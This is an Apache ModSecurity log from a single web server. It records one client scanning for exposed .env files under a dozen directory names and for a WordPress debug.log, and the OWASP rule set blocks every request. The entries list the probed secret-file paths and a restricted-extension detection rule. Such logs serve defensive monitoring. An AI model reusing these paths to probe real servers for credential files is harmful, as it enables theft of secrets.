[Tue Oct 27 11:27:21.359577 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auDC2TEbFPv4b_SwB77hbwAAAAo"]
[Tue Oct 27 11:27:21.359653 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auDC2eDGYG7bZ6qVgjrpPwAAABA"]
[Tue Oct 27 11:27:21.359783 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auDC2TEbFPv4b_SwB77hbwAAAAo"]
[Tue Oct 27 11:27:21.363724 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDC2ZmYpm98ZbHdHAlpDAAAAAA"]
[Tue Oct 27 11:27:21.363861 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDC2ZmYpm98ZbHdHAlpDAAAAAA"]
[Tue Oct 27 11:27:21.364068 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auDC2ZmYpm98ZbHdHAlpDAAAAAA"]
[Tue Oct 27 11:27:21.373424 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auDC2UogvnxwSoGhv_BPFgAAAA4"]
[Tue Oct 27 11:27:21.373562 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auDC2UogvnxwSoGhv_BPFgAAAA4"]
[Tue Oct 27 11:27:21.373780 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auDC2UogvnxwSoGhv_BPFgAAAA4"]
[Tue Oct 27 11:27:21.401214 2026] [proxy_fcgi:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 11:27:21.433078 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtwAAAAc"]
[Tue Oct 27 11:27:21.433268 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtwAAAAc"]
[Tue Oct 27 11:27:21.433564 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auDC2ak5WBwWuEHXa74CtwAAAAc"]
[Tue Oct 27 11:27:21.434564 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBjAAAABI"]
[Tue Oct 27 11:27:21.434717 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBjAAAABI"]
[Tue Oct 27 11:27:21.434936 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBjAAAABI"]
[Tue Oct 27 11:27:21.475559 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaQAAAAAs"]
[Tue Oct 27 11:27:21.475775 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaQAAAAAs"]
[Tue Oct 27 11:27:21.476051 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaQAAAAAs"]
[Tue Oct 27 11:27:21.508932 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auDC2ak5WBwWuEHXa74CuAAAAAc"]
[Tue Oct 27 11:27:21.509166 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auDC2ak5WBwWuEHXa74CuAAAAAc"]
[Tue Oct 27 11:27:21.509467 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auDC2ak5WBwWuEHXa74CuAAAAAc"]
[Tue Oct 27 11:27:21.510558 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBjQAAABI"]
[Tue Oct 27 11:27:21.510717 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBjQAAABI"]
[Tue Oct 27 11:27:21.510928 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auDC2Qab8Q6c3Z8MLTxBjQAAABI"]
[Tue Oct 27 11:27:21.511890 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auDC2TEbFPv4b_SwB77hcQAAAAo"]
[Tue Oct 27 11:27:21.512016 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auDC2TEbFPv4b_SwB77hcQAAAAo"]
[Tue Oct 27 11:27:21.512263 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auDC2TEbFPv4b_SwB77hcQAAAAo"]
[Tue Oct 27 11:27:21.514895 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auDC2eDGYG7bZ6qVgjrpQQAAABA"]
[Tue Oct 27 11:27:21.515103 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auDC2eDGYG7bZ6qVgjrpQQAAABA"]
[Tue Oct 27 11:27:21.515317 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auDC2eDGYG7bZ6qVgjrpQQAAABA"]
[Tue Oct 27 11:27:21.516233 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auDC2ZmYpm98ZbHdHAlpDgAAAAA"]
[Tue Oct 27 11:27:21.516367 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auDC2ZmYpm98ZbHdHAlpDgAAAAA"]
[Tue Oct 27 11:27:21.516568 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auDC2ZmYpm98ZbHdHAlpDgAAAAA"]
[Tue Oct 27 11:27:21.552488 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaQQAAAAs"]
[Tue Oct 27 11:27:21.552721 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaQQAAAAs"]
[Tue Oct 27 11:27:21.553013 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaQQAAAAs"]
[Tue Oct 27 11:27:21.595164 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auDC2ak5WBwWuEHXa74CuQAAAAc"]
[Tue Oct 27 11:27:21.595417 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auDC2ak5WBwWuEHXa74CuQAAAAc"]
